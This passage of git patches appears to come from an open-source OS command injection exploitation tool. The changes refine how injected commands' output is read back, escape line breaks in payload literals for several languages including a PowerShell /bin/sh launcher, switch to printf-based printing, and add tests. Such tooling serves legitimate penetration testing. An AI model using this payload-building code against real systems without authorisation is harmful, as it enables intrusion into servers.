a/src/core/controller/execution.py +++ b/src/core/controller/execution.py @@ -101,27 +101,55 @@ def execute_cmd(cmd): shell = "" return postprocess_time(shell) else: - def send(): + def send(command=None): + command = cmd if command is None else command if technique == settings.INJECTION_TECHNIQUE.FILE_BASED and not results_based_injector: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + response = injector.injection(separator, TAG, command, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) + response = injector.injection(separator, TAG, command, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) if settings.URL_RELOAD: response = requests.url_reload(url, timesec) - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - return "".join(str(p) for p in shell) - shell = send() - # The reading that hands the output back whole asks a tool of the target, and a target - # without it answers nothing where the plainer reading would have answered something. Asked - # again the once, with the rest of this target kept to the plainer form; an output that is - # genuinely empty pays that one request to establish that it is. - if not shell and settings.RESULTS_BASED_EXACT_OUTPUT \ - and technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED: - settings.RESULTS_BASED_EXACT_OUTPUT = False - shell = send() - return shell + return injector.injection_results(response, TAG, command, technique, url, OUTPUT_TEXTFILE, timesec) + return read_command_output(send, technique, cmd) return execute_cmd +""" +What a results-based answer says, as text - or None where the markers never came back at all. + +Only that technique reads its answer from between markers, and only it can tell an output that +was empty from a payload that was never answered: the markers come back around nothing in the +first case and not at all in the second. Every other answer is text already. +""" +def _answer_text(found, technique): + if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED and isinstance(found, list) and not found: + return None + return "".join(str(part) for part in found) if found else "" + +""" +Read one command's output through the confirmed injection point, the command run once. + +How the output is read is settled before the first command the user asked for, not after it: told +over an output already read, the only way to read it again is to run the command again. The one +request sent twice is a more complex payload that was not answered at all - no markers came back, +so it never ran, and sending the plain one instead runs the command for the first time, not the +second. The rest of the target is then kept to the plain reading, and the user is told why. +""" +def read_command_output(send, technique, cmd): + def check(command): + applied = settings.USER_APPLIED_CMD + try: + return _answer_text(send(command), technique) or "" + finally: + settings.USER_APPLIED_CMD = applied + checks.decide_exact_output(technique, check) + shell = _answer_text(send(cmd), technique) + if shell is None and settings.RESULTS_BASED_EXACT_OUTPUT: + settings.RESULTS_BASED_EXACT_OUTPUT = False + warn_msg = "The more complex payload went unanswered, so command output is read the plain way." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + shell = _answer_text(send(cmd), technique) + return shell or "" + """ Build an execute_cmd(cmd) -> (output, fresh) callback around the injector model, with session caching - the shared logic behind every enumeration.py check. """ diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index a82391816f..b0f869473d 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -387,13 +387,15 @@ def execute_cmd(cmd): # Export injection result checks.time_related_export_injection_results(cmd, separator, shell, check_exec_time) else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - # Command execution results. - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) + # Through the same reading every other command takes, so the form settled before the first + # one holds in the shell as well, and each command is run once. + def send(command): + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, command, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + else: + response = injector.injection(separator, TAG, command, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) + return injector.injection_results(response, TAG, command, technique, url, OUTPUT_TEXTFILE, timesec) + shell = execution.read_command_output(send, technique, cmd) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) # Storing a known-incomplete result would serve it back as if it were the real output. diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index c7652fa26d..bbc0d59051 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -1803,7 +1803,18 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times what is between the markers has been taken, the way the evaluation sink below already does it. """ new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - html_data = re.sub(settings.END_LINE.CRLF + r"|[" + settings.END_LINE.CR + settings.END_LINE.LF + r"]", new_line, html_data) + """ + Each kind of break by a mark of its own, the pair taken first. + + Marked as one thing and put back as a newline, a carriage return the command printed came + back as one: an output of 'a\rb' was answered with 'a\nb'. The three marks share a prefix, + so one of them is still as easy to find as the single mark was, and a Windows line break is + one mark rather than two - which is what keeps it a pair when it is put back. + """ + page_marks = ((settings.END_LINE.CRLF, new_line + "B"), (settings.END_LINE.CR, new_line + "R"), + (settings.END_LINE.LF, new_line + "N")) + for sequence, mark in page_marks: + html_data = html_data.replace(sequence, mark) # cleanup string / unescape html to string html_data = _urllib.parse.unquote(html_data) html_data = unescape(html_data) @@ -1816,8 +1827,9 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times # Clear junks shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell] shell = [backslash.replace(r"\/","/") for backslash in shell] - # The output's own line breaks, back where they were. - shell = [marked.replace(new_line, settings.END_LINE.LF) for marked in shell] + # The output's own line breaks, back where they were and as what they were. + for sequence, mark in page_marks: + shell = [marked.replace(mark, sequence) for marked in shell] # And the ones the target was asked to mark before it answered, which is how a break # survives a sink that hands back a single line of what it ran. shell = [marked.replace(settings.RESULTS_BASED_LF_MARKER, settings.END_LINE.LF) diff --git a/src/core/eval/grammars/javascript.py b/src/core/eval/grammars/javascript.py index b259cea7a0..c53ef06e0b 100644 --- a/src/core/eval/grammars/javascript.py +++ b/src/core/eval/grammars/javascript.py @@ -107,7 +107,8 @@ def print_statement(separator, commands, chain=None): # A string literal holding the given text. def _literal(text): - return "\"" + text.replace("\\", "\\\\").replace("\"", "\\\"") + "\"" + text = text.replace("\\", "\\\\").replace("\"", "\\\"") + return "\"" + text.replace("\r", "\\r").replace("\n", "\\n") + "\"" # Run a command and yield its output. 'execSync' answers with a Buffer, not the string itself. def run(cmd): diff --git a/src/core/eval/grammars/lua.py b/src/core/eval/grammars/lua.py index 698c290110..f7af24ecb1 100644 --- a/src/core/eval/grammars/lua.py +++ b/src/core/eval/grammars/lua.py @@ -91,7 +91,8 @@ def print_statement(separator, commands, chain=None): # nothing in one is ever read back as a variable or another expression - so only a literal # backslash and the quote closing this one need escaping, nothing an embedded '$' or '@' needs. def _literal(text): - return "\"" + text.replace("\\", "\\\\").replace("\"", "\\\"") + "\"" + text = text.replace("\\", "\\\\").replace("\"", "\\\"") + return "\"" + text.replace("\r", "\\r").replace("\n", "\\n") + "\"" # Run a command and yield its output, through the one handle this language reads a command's # stdout from. diff --git a/src/core/eval/grammars/perl.py b/src/core/eval/grammars/perl.py index 398ff8fdf3..10ceb2490c 100644 --- a/src/core/eval/grammars/perl.py +++ b/src/core/eval/grammars/perl.py @@ -101,6 +101,7 @@ def print_statement(separator, commands, chain=None): """ def _literal(text): text = text.replace("\\", "\\\\").replace("\"", "\\\"").replace("$", "\\$").replace("@", "\\@") + text = text.replace("\r", "\\r").replace("\n", "\\n") return "\"" + text + "\"" # Run a command and yield its output, through the backtick operator. diff --git a/src/core/eval/grammars/powershell.py b/src/core/eval/grammars/powershell.py index b1526b4765..e69002daff 100644 --- a/src/core/eval/grammars/powershell.py +++ b/src/core/eval/grammars/powershell.py @@ -106,11 +106,39 @@ def print_statement(separator, commands, chain=None): again rather than by touching a payload. """ -# A single-quoted string literal holding the given text - the one quote it needs escaped by -# doubling, and nothing else: unlike a double-quoted string here, it reads no backslash or '$' as -# anything other than itself, which is exactly what a foreign shell's own command line is full of. +""" +A string literal holding the given text. + +Single-quoted, the one quote it needs escaped by doubling and nothing else: unlike a double-quoted +string here, it reads no backslash or '$' as anything other than itself, which is exactly what a +foreign shell's own command line is full of. + +A line break is the one character such a string cannot be written with. It is allowed inside one - +the string simply runs on to the next line - but the payload is then a payload with a line break in +it, and an injection point that is a header carries that as the end of the header rather than as +part of the value. This language has no escape for it inside single quotes either, so the break is +spliced in as the character it is and the quoted runs on each side are joined back onto it. Every +other grammar here writes the same break as an escape of its own; this is that, spelled the way +this one spells it. +""" +BREAKS = ("\r", "\n") + def _literal(text): - return "'" + text.replace("'", "''") + "'" + quoted = lambda run: "'" + run.replace("'", "''") + "'" + pieces, run = [], "" + for character in text: + if character in BREAKS: + if run: + pieces.append(quoted(run)) + run = "" + pieces.append("[char]" + str(ord(character))) + else: + run = run + character + if run or not pieces: + pieces.append(quoted(run)) + if len(pieces) == 1: + return pieces[0] + return "(" + "+".join(pieces) + ")" """ Run a command and yield its output. @@ -124,7 +152,28 @@ def run(cmd): from src.utils import settings if settings.TARGET_OS == settings.OS.WINDOWS: return "((cmd /c " + _literal(cmd) + " 2>&1) | Out-String)" - return "((/bin/sh -c " + _literal(cmd) + " 2>&1) | Out-String)" + return _read_through_a_pipe(cmd) + +""" +Start the shell and read its output off the pipe, rather than letting this language collect it. + +What a native command writes is collected here as lines: the terminator of each is taken off, and +'Out-String' then puts the platform's own back between them - which is not what the command wrote. +A carriage return of the output's own went with it, a CRLF came back as a newline, and a length read +off either was one byte short per line: 'AB\r\n' was answered with 'AB'. Read off the pipe instead, +nothing is split and nothing is put back, so the bytes are the ones the command printed. + +The command goes in on the pipe as well, not as an argument: an argument list is read for quotes and +backslashes of its own before the shell is ever reached, and is spelled differently again by the +build of this language a Windows target carries. Written to the shell's own input there is nothing +in between to read it, so the command arrives as it was built. 'exec 2>&1' first, which is what the +redirection this used to carry said: the shell's own error output goes the same way as the rest. +""" +def _read_through_a_pipe(cmd): + return ("$($i=New-Object Diagnostics.ProcessStartInfo;$i.FileName='/bin/sh';" + "$i.RedirectStandardInput=$true;$i.RedirectStandardOutput=$true;$i.UseShellExecute=$false;" + "$p=[Diagnostics.Process]::Start($i);$p.StandardInput.Write('exec 2>&1;'+" + _literal(cmd) + + ");$p.StandardInput.Close();$p.StandardOutput.ReadToEnd())") # Read a file and yield its contents. def read_file(path): @@ -143,19 +192,31 @@ def read_file(path): def trim(expr): return "(" + expr + ").TrimEnd([char]10)" -# How many bytes an expression is. +# What this language counts a string in, so the byte of a given position can be asked for. +UTF8 = "[System.Text.Encoding]::UTF8" + +""" +How many bytes an expression is. + +Counted off the bytes rather than off what this language calls the string's length, which is its +characters: a command printing three Greek letters is six bytes and was reported as three, so the +search asked about half of them and the other half came back as nothing at all. The ordinals the +techniques read are byte ordinals, so the two have to agree on what a position is. +""" def length(expr): - return "(" + expr + ").Length" + return UTF8 + ".GetByteCount(" + expr + ")" """ The ordinal of an expression's Nth byte, counting from zero. -Indexing a string past its end answers '$null' here rather than raising, and '[int]$null' is 0 - the -same "nothing there" answer every other language's grammar gives for the same case, reached for free -rather than built. +Read off the same bytes the length beside it counts. Indexing past the end answers '$null' here +rather than raising, and '[int]$null' is 0 - the same "nothing there" answer every other language's +grammar gives for the same case, reached for free rather than built. The cast binds tighter than +every comparison this grammar writes around an ordinal, so the whole of it needs no brackets of its +own the way a fallback written with an operator would. """ def ordinal(expr, index): - return "[int](" + expr + ")[" + str(index) + "]" + return "[int]" + UTF8 + ".GetBytes(" + expr + ")[" + str(index) + "]" # An expression's value read as a number, for a command whose output is one - '[int]""' is 0 for the # same reason the line above needs nothing extra either. diff --git a/src/core/eval/grammars/python.py b/src/core/eval/grammars/python.py index 8b0c81957c..7fe0c48cd7 100644 --- a/src/core/eval/grammars/python.py +++ b/src/core/eval/grammars/python.py @@ -128,7 +128,8 @@ def print_statement(separator, commands, chain=None): the first of them ends the literal and the rest is read as code that does not parse. """ def _literal(text): - return "\"" + text.replace("\\", "\\\\").replace("\"", "\\\"") + "\"" + text = text.replace("\\", "\\\\").replace("\"", "\\\"") + return "\"" + text.replace("\r", "\\r").replace("\n", "\\n") + "\"" """ Run a command and yield its output, read as the bytes the command wrote. diff --git a/src/utils/common.py b/src/utils/common.py index 7288ecf318..6d0a74cf7f 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -99,6 +99,23 @@ def safe_input(message): """ Reads input from terminal """ +""" +The answer '--answers' gives for a question, or None where it gives none. + +Read on its own as well as from inside a prompt, so that something about to be asked under +'--batch' can tell an answer given by name from the default that would otherwise stand in for one. +""" +def predefined_answer(message): + if settings.ANSWERS and any(_ in settings.ANSWERS for _ in ",="): + for item in settings.ANSWERS.split(','): + # Split once: an answer is free to hold "=" of its own, a URL with a query string most of + # all, and splitting on every one of them handed back the answer cut at the first. + question = item.split('=', 1)[0].strip() + answer = item.split('=', 1)[1] if '=' in item else None + if answer and question.lower() in message.lower(): + return answer + return None + def read_input(message, default=None, check_batch=True): # Close the spinner line before prompting unless the message is empty. if message: @@ -125,16 +142,10 @@ def is_empty(): # Nothing in there names a question, so a run given that is answered the way a run given none # is - read as a prompt of its own, it left '--batch' unconsulted and every question waiting on # somebody to type, which under automation is a run that ends on the first one. - if settings.ANSWERS and any(_ in settings.ANSWERS for _ in ",="): - for item in settings.ANSWERS.split(','): - # Split once: an answer is free to hold "=" of its own, a URL with a query string most - # of all, and splitting on every one of them handed back the answer cut at the first. - question = item.split('=', 1)[0].strip() - answer = item.split('=', 1)[1] if '=' in item else None - if answer and question.lower() in message.lower(): - value = answer - settings.print_data_to_stdout(settings.print_message(message + str(value))) - return value + given = predefined_answer(message) + if given is not None: + settings.print_data_to_stdout(settings.print_message(message + str(given))) + return given if value: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Used the given answer." diff --git a/src/utils/settings.py b/src/utils/settings.py index 2e9066b149..b05cb869ce 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "346" +REVISION = "347" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. @@ -686,10 +686,32 @@ class HEURISTIC_TEST(object): BASIC_COMMAND_INJECTION_RESULT = "" IDENTIFIED_COMMAND_INJECTION = False -# Whether the results-based technique still asks the target to hand its output back a line at a -# time. Turned off for the rest of this target once a reading comes back empty, which is how a -# target without the tool that reading needs answers. -RESULTS_BASED_EXACT_OUTPUT = True +""" +Whether the results-based technique asks the target to hand its output back exactly as the command +printed it, rather than as the shell's own word-splitting leaves it. + +Off until the user says otherwise. The exact reading asks 'awk' of the target and spells out +'LC_ALL', 'BEGIN', 'gsub' and 'ARGV' to do it, in a payload three times the length of the plain +one - every one of those a word a filter can be watching for, and a payload that never runs where +one is. The plain reading carries 'echo' and a substitution and nothing else, so that is what goes +out unless the user asks, before the first command, for the exact one. + +Turned off again for the rest of this target where the exact reading is not answered at all, which +is how a filter refusing it answers. +""" +RESULTS_BASED_EXACT_OUTPUT = False + +# The answer to that question, kept for the rest of the target: asked once, before the first command +# the user asked for, rather than once per command. +EXACT_OUTPUT_CHOICE = None + +# Set once detection is over and the commands the user asked for begin - the moment the question +# above is put, rather than during the commands this run sends of its own (a web root, a shell type). +EXPLOITATION_STARTED = False + +# Whether the target has 'awk', asked by name and without running it - there is no exact reading to +# offer where it does not, so the question is not put at all. +AWK_PRESENCE_CHECK = "command -v awk" # What the target is asked to put in place of the line breaks its output carries, so that the output # arrives as the single line the markers are looked for on. A sink handing back only the last line diff --git a/tests/test_controller.py b/tests/test_controller.py index d46b186061..3ac142fdb7 100644 --- a/tests/test_controller.py +++ b/tests/test_controller.py @@ -155,60 +155,160 @@ def test_a_shell_answering_does_not_settle_a_sink_that_was_asked_for_by_name(sel if __name__ == "__main__": unittest.main() -class AReadingThatNeedsAToolFallsBackWhenItIsNotThere(unittest.TestCase): +class EachCommandRunsOnceInTheFormSettledBeforeIt(unittest.TestCase): """ - The exact reading of a command's output asks 'awk' of the target. A target without it answers - nothing, where the reading that asks for none would have answered something - so an empty answer - is asked again the once, and the rest of that target is read the plainer way. + How a results-based answer is read - plainly, or exactly as printed through a more complex + payload - is settled before the first command the user asked for, and every command then runs a + single time. Settled after an output was read, the only way to read that output exactly is to run + the command again, and a command with an effect of its own would have it twice. The target is + asked first whether it has 'awk', by name: where it does not, there is nothing to ask the user. """ def setUp(self): from src.core.controller import execution - self.execution = execution - self._exact = settings.RESULTS_BASED_EXACT_OUTPUT - self._time = settings.TIME_RELATED_ATTACK - self._reload = settings.URL_RELOAD - settings.RESULTS_BASED_EXACT_OUTPUT = True + from src.utils import common + self.execution, self.common = execution, common + self._kept = (settings.RESULTS_BASED_EXACT_OUTPUT, settings.EXACT_OUTPUT_CHOICE, + settings.EXPLOITATION_STARTED, settings.TIME_RELATED_ATTACK, settings.URL_RELOAD, + common.read_input, settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, + dict(settings.TAMPER_SCRIPTS), settings.TARGET_OS, menu.options.interpreter, + menu.options.batch) + settings.RESULTS_BASED_EXACT_OUTPUT = False + settings.EXACT_OUTPUT_CHOICE = None + settings.EXPLOITATION_STARTED = True settings.TIME_RELATED_ATTACK = False settings.URL_RELOAD = False - self.sent = [] + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + for name in settings.TAMPER_SCRIPTS: + settings.TAMPER_SCRIPTS[name] = False + settings.TARGET_OS = settings.OS.UNIX + menu.options.interpreter = None + menu.options.batch = False + self.asked, self.sent, self.commands = [], [], [] def tearDown(self): - settings.RESULTS_BASED_EXACT_OUTPUT = self._exact - settings.TIME_RELATED_ATTACK = self._time - settings.URL_RELOAD = self._reload - - def injector(self, answers): - sent, said = self.sent, list(answers) + (settings.RESULTS_BASED_EXACT_OUTPUT, settings.EXACT_OUTPUT_CHOICE, + settings.EXPLOITATION_STARTED, settings.TIME_RELATED_ATTACK, settings.URL_RELOAD, + self.common.read_input, settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, + scripts, settings.TARGET_OS, menu.options.interpreter, menu.options.batch) = self._kept + settings.TAMPER_SCRIPTS.clear() + settings.TAMPER_SCRIPTS.update(scripts) + + def _answers(self, answer): + asked = self.asked + def read_input(message, default=None, check_batch=True): + asked.append(message) + return answer + self.common.read_input = read_input + + def fire(self, answers, cmd="id"): + # What the target answers, in the order it is asked - each a list of what the markers enclosed, + # an empty one being markers that never came back. + sent, said, commands = self.sent, list(answers), self.commands class Injector(object): @staticmethod def injection(*args, **kwargs): sent.append(settings.RESULTS_BASED_EXACT_OUTPUT) + commands.append(args[2]) return "response" @staticmethod def injection_results(*args, **kwargs): return said.pop(0) - return Injector - - def fire(self, answers): run = self.execution.make_simple_execute_cmd( - self.injector(answers), ";", 10, "TAG", "", "", " ", 5, "GET", "http://t/", "p", None, "f", + Injector, ";", 10, "TAG", "", "", " ", 5, "GET", "http://t/", "p", None, "f", 0, settings.INJECTION_TECHNIQUE.RESULTS_BASED, "") - return run("id") - - def test_an_empty_answer_is_asked_again_without_the_tool(self): - self.assertEqual("plain", self.fire(["", "plain"])) - self.assertEqual([True, False], self.sent) + return run(cmd) + + def test_a_yes_reads_the_first_command_exactly_and_runs_it_once(self): + self._answers("y") + self.assertEqual("a b", self.fire([["/usr/bin/awk"], ["a b"]], cmd="ls")) + self.assertEqual([settings.AWK_PRESENCE_CHECK, "ls"], self.commands) + self.assertEqual([False, True], self.sent) + self.assertEqual(1, len(self.asked)) + + def test_a_no_reads_it_plainly_and_runs_it_once(self): + self._answers("n") + self.assertEqual("a b", self.fire([["/usr/bin/awk"], ["a b"]], cmd="ls")) + self.assertEqual([settings.AWK_PRESENCE_CHECK, "ls"], self.commands) + self.assertEqual([False, False], self.sent) + + def test_a_target_without_awk_is_not_asked_about_it(self): + self._answers("y") + self.assertEqual("a b", self.fire([[""], ["a b"]], cmd="ls")) + self.assertEqual([], self.asked) + self.assertEqual([settings.AWK_PRESENCE_CHECK, "ls"], self.commands) self.assertFalse(settings.RESULTS_BASED_EXACT_OUTPUT) - def test_an_answer_that_came_back_is_not_asked_twice(self): - self.assertEqual("exact output", self.fire(["exact output"])) - self.assertEqual([True], self.sent) + def test_batch_sends_neither_the_check_nor_the_question(self): + self._answers("y") + menu.options.batch = True + self.assertEqual("a b", self.fire([["a b"]], cmd="ls")) + self.assertEqual(["ls"], self.commands) + self.assertEqual([], self.asked) + + def test_batch_with_a_yes_given_by_name_checks_and_reads_exactly(self): + self._answers("y") + menu.options.batch = True + kept, settings.ANSWERS = settings.ANSWERS, "preserve whitespace=y" + try: + self.assertEqual("a b", self.fire([["/usr/bin/awk"], ["a b"]], cmd="ls")) + finally: + settings.ANSWERS = kept + self.assertEqual([settings.AWK_PRESENCE_CHECK, "ls"], self.commands) + self.assertEqual([False, True], self.sent) + + def test_batch_with_a_no_given_by_name_sends_nothing_extra(self): + menu.options.batch = True + kept, settings.ANSWERS = settings.ANSWERS, "preserve whitespace=n" + try: + self.fire([["a b"]], cmd="ls") + finally: + settings.ANSWERS = kept + self.assertEqual(["ls"], self.commands) + + def test_the_form_is_settled_once_for_the_target(self): + self._answers("y") + self.fire([["/usr/bin/awk"], ["x"]], cmd="ls") + self.commands[:] = [] + self.fire([["y"]], cmd="id") + self.assertEqual(["id"], self.commands) + self.assertEqual(1, len(self.asked)) + + def test_nothing_is_asked_before_the_commands_the_user_asked_for(self): + # A web root, a shell type - the run's own commands during detection are read plainly. + self._answers("y") + settings.EXPLOITATION_STARTED = False + self.assertEqual("/var/www", self.fire([["/var/www"]], cmd="pwd")) + self.assertEqual(["pwd"], self.commands) + self.assertIsNone(settings.EXACT_OUTPUT_CHOICE) + + def test_nothing_is_asked_where_a_yes_would_change_nothing(self): + self._answers("y") + settings.TARGET_OS = settings.OS.WINDOWS + self.fire([["a b"]]) + settings.TARGET_OS = settings.OS.UNIX + menu.options.interpreter = "python" + self.fire([["a b"]]) + menu.options.interpreter = None + settings.TAMPER_SCRIPTS["space2ifs"] = True + self.fire([["a b"]]) + self.assertEqual([], self.asked) + self.assertEqual(["id", "id", "id"], self.commands) + + def test_an_empty_output_is_not_a_reason_to_run_the_command_again(self): + # The markers came back around nothing: the command ran and printed nothing. + settings.RESULTS_BASED_EXACT_OUTPUT = True + settings.EXACT_OUTPUT_CHOICE = True + self.assertEqual("", self.fire([[""]], cmd="touch f")) + self.assertEqual(["touch f"], self.commands) self.assertTrue(settings.RESULTS_BASED_EXACT_OUTPUT) - def test_a_target_already_read_the_plain_way_asks_once(self): - settings.RESULTS_BASED_EXACT_OUTPUT = False - self.assertEqual("", self.fire([""])) - self.assertEqual([False], self.sent) + def test_an_unanswered_complex_payload_is_sent_once_more_the_plain_way(self): + # No markers at all: the payload never ran, so the plain one runs the command the first time. + settings.RESULTS_BASED_EXACT_OUTPUT = True + settings.EXACT_OUTPUT_CHOICE = True + self.assertEqual("a b", self.fire([[], ["a b"]], cmd="ls")) + self.assertEqual([True, False], self.sent) + self.assertFalse(settings.RESULTS_BASED_EXACT_OUTPUT) class WhatStoodInForOneParametersValueIsNotCarriedToTheNext(unittest.TestCase): """ diff --git a/tests/test_payloads.py b/tests/test_payloads.py index 88119c8781..720906b5f4 100644 --- a/tests/test_payloads.py +++ b/tests/test_payloads.py @@ -594,6 +594,41 @@ def getcode(self): self.assertEqual(["a\rb\nc"], injector.injection_results( served(), "TAG", "id", settings.INJECTION_TECHNIQUE.RESULTS_BASED, "url", None, 1)) +class AResultsBasedAnswerKeepsEachKindOfBreak(unittest.TestCase): + """ + The page a results-based answer is read off puts every break of the output on a line of its own, + and the markers are looked for on one line - so the breaks are marked and put back afterwards. + Marked as one thing and put back as a newline, a carriage return the command printed came back as + a newline: 'a\rb' was answered with 'a\nb', and a Windows line break with two of them. + """ + TAG = "QQQQQQ" + + def _read(self, printed): + from src.core.controller import injector + body = "" + self.TAG + self.TAG + printed + self.TAG + self.TAG + "" + class served(object): + def read(self, *args, **kwargs): + return body.encode(settings.DEFAULT_CODEC) + def info(self): + return {} + def getcode(self): + return 200 + found = injector.injection_results(served(), self.TAG, "cmd", + settings.INJECTION_TECHNIQUE.RESULTS_BASED, "url", None, 1) + return found[0] if found else found + + def test_a_newline_comes_back_as_one(self): + self.assertEqual("a\nb", self._read("a\nb")) + + def test_a_carriage_return_does_not_come_back_as_a_newline(self): + self.assertEqual("a\rb", self._read("a\rb")) + + def test_a_windows_break_comes_back_as_the_pair_it_was(self): + self.assertEqual("a\r\nb\r\n", self._read("a\r\nb\r\n")) + + def test_the_three_kinds_in_one_answer_each_stay_what_they_were(self): + self.assertEqual("a\nb\rc\r\nd", self._read("a\nb\rc\r\nd")) + class ByteSemantics(unittest.TestCase): """ An ordinal is read off a raw byte, and a shell in a UTF-8 locale will not decode one on its own - From 5e7d8a5f46b035103e0d3a33b3a5af21f09310c3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 16 Nov 2026 08:35:20 +0200 Subject: [PATCH 1021/1023] Fixed several issues regarding the output a run reads back, affecting the payloads that print it, which use `printf` rather than `echo` unless the `printf2echo` tamper script is used --- doc/CHANGELOG.md | 2 + src/core/controller/checks.py | 56 +++++++- src/core/controller/controller.py | 13 +- src/core/requests/requests.py | 11 +- .../techniques/boolean_based/bb_payloads.py | 10 +- src/core/techniques/file_based/fb_payloads.py | 4 +- .../techniques/results_based/rb_payloads.py | 19 +-- .../techniques/tempfile_based/tfb_payloads.py | 30 ++-- src/core/techniques/time_based/tb_payloads.py | 10 +- src/tamper/obfuscation/posix/printf2echo.py | 17 ++- src/utils/settings.py | 10 +- tests/test_payloads.py | 133 +++++++++++++++++- 12 files changed, 257 insertions(+), 58 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 061903cb7f..ffc3945fb5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,6 @@ ## Version 4.2 (TBA) +* Revised: Tamper script `printf2echo.py` now switches every payload, both detection and exploitation, from `printf` to `echo`, for a target that refuses `printf` by name. +* Fixed: Command output carrying a backslash (e.g. "C:\temp\new") or starting with "-n", which came back altered because payloads printed it with "echo". * Added: New tamper script `phpregreplace.py`, carrying a payload through the replacement string of a PHP sink evaluated by `preg_replace()`'s "e" modifier. * Fixed: The switch `--null-connection`, which reads no page body, was left to run alongside an option that reads one (`--string`, `--not-string`, `--regexp`, `--text-only`, `--titles`), leaving every boolean answer the same. * Added: New switch `--titles`, comparing pages by their title alone - for a target whose page moves by itself everywhere except the line naming what it rendered. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 2c0cc81571..a28962db40 100644 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -158,7 +158,7 @@ def detect_waf_in_page(response): page = settings.ORIGINAL_PAGE if not page or page == settings.WAF_CHECK_BASELINE: return False - if difflib.SequenceMatcher(None, settings.WAF_CHECK_BASELINE, page).ratio() >= settings.WAF_CHECK_RATIO: + if page_ratio(settings.WAF_CHECK_BASELINE, page) >= settings.WAF_CHECK_RATIO: return False settings.WAF_IDENTIFIED = identify_waf_in_text(page) if settings.WAF_IDENTIFIED: @@ -1731,6 +1731,31 @@ def page_title(page): match = re.search(r"(?i)]*>(?P[^<]*)", page or "") return (match.group("result") or "").strip() if match else "" +""" +How alike two pages are, from 0 to 1. + +Counted over the characters the two have in common rather than the order they arrive in, because +the ordered reading leaves out every character making up more than one percent of the page: a body +ending in a long run of few distinct characters - base64, hexadecimal, decimals - has every one of +them left out that way, and two such pages a single byte apart read as half alike. A pair too large +to read character by character at all is answered by their lengths, which is the one reading that +costs nothing. +""" +def page_ratio(first, second): + if first is None or second is None: + return 0.0 + if first == second: + return 1.0 + if not first or not second: + return 0.0 + if max(len(first), len(second)) > settings.MAX_COMPARISON_LENGTH: + ratio = 1.0 * len(first) / len(second) + return ratio if ratio <= 1 else 1.0 / ratio + try: + return difflib.SequenceMatcher(None, first, second).quick_ratio() + except (MemoryError, TypeError, ValueError): + return 0.0 + """ The page as it is worth comparing: without the regions that move by themselves, and - where '--text-only' was given - without the layout they sit in either, or - where '--titles' was given - @@ -5203,8 +5228,8 @@ def boolean_oracle(page, code=None, page_length=None, headers=None): if settings.BOOLEAN_TRUE_PAGE is None or settings.BOOLEAN_FALSE_PAGE is None or page is None: return None current = comparable_page(page) - to_true = difflib.SequenceMatcher(None, settings.BOOLEAN_TRUE_PAGE, current).ratio() - to_false = difflib.SequenceMatcher(None, settings.BOOLEAN_FALSE_PAGE, current).ratio() + to_true = page_ratio(settings.BOOLEAN_TRUE_PAGE, current) + to_false = page_ratio(settings.BOOLEAN_FALSE_PAGE, current) if to_true == to_false: return None return to_true > to_false @@ -8362,6 +8387,31 @@ def in_scope(url): settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) return False +""" +The command a payload prints a command's output with. + +'printf' prints its arguments as they are, where 'echo' reads backslashes as escapes on some shells +and a leading '-n' as an option on all of them. Each payload uses only one of the two, and the +tamper script that trades 'printf' for 'echo' sets PRINT_WITH_ECHO for these to write 'echo'. +""" +# Several words, one space to each - the joining 'echo' does, in a format picked once per run. +def print_words(words): + if settings.PRINT_WITH_ECHO: + return "echo " + words + return "printf " + settings.RANDOM_PRINTF_FORMAT + " " + words + +# One 